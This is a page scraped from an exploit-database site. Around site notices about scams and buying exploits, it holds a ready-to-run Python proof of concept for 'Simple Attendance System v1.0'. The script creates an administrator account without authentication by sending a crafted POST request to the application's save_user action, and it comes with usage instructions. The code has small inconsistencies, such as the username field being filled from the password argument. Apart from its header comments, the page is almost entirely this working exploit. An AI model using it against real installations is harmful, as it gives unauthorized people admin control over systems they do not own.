0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Simple Attendance System 1.0 Authentication Bypass Exploit
# Exploit Title: Simple Attendance System v1.0 - Unauthenticated Add Admin Account # Exploit Author: Richard Jones # Vendor Homepage: https://www.sourcecodester.com/php/14948/simple-attendance-system-php-and-sqlite-free-source-code.html # Software Link: https://www.sourcecodester.com/download-code?nid=14948&title=Simple+Attendance+System+in+PHP+and+SQLite+Free+Source+Code # Tested on: Kali Linux, Apache, Mysql # Vendor: oretnom23 # Version: v1.0 # Exploit Description: # Simple Attendance System v1.0 v1.0 suffers Unauthenticated Add Administration Account. We can craft a post request to add an admin account to the applicaiton without authentication. # Usage: python3 attendance_poc.py -u admin1 -p admin1 -url http://localhost/attendance/ # Then login to the app at http://localhost/attendance/login.php to be logged as admin. import requests import argparse def createAccount(args): try: data = f'id=&fullname={args.username}&username={args.password}&type=1' headers = {"Content-Type": "application/x-www-form-urlencoded"} r = requests.post(url=f"{args.host}Actions.php?a=save_user", data=data, headers=headers) if r. status_code == 200: resp = r.text if "Username already exists." in resp: print(f"Username \"{args.username}\" taken!\nChange it and try again. ") if "New User successfully saved." in resp: print("Created User") print(f"Username: {args.username}\nPassword: {args.password}") print(f"\nPlease try to login here: {args.url}login.php") except: print("Unknown Error, Check URL and try again.") def main(): parser = argparse.ArgumentParser() parser.add_argument("-u", "--username", help="Username to create", required=True) parser.add_argument("-p", "--password", help="Password for the user account", required=True) parser.add_argument("-url", "--host", help="Host for the webapp eg: http://localhost/attendance/ << ends with / ", required=True) args = parser.parse_args() createAccount(args) if __name__ == "__main__": main() # 0day.today [2024-12-24] #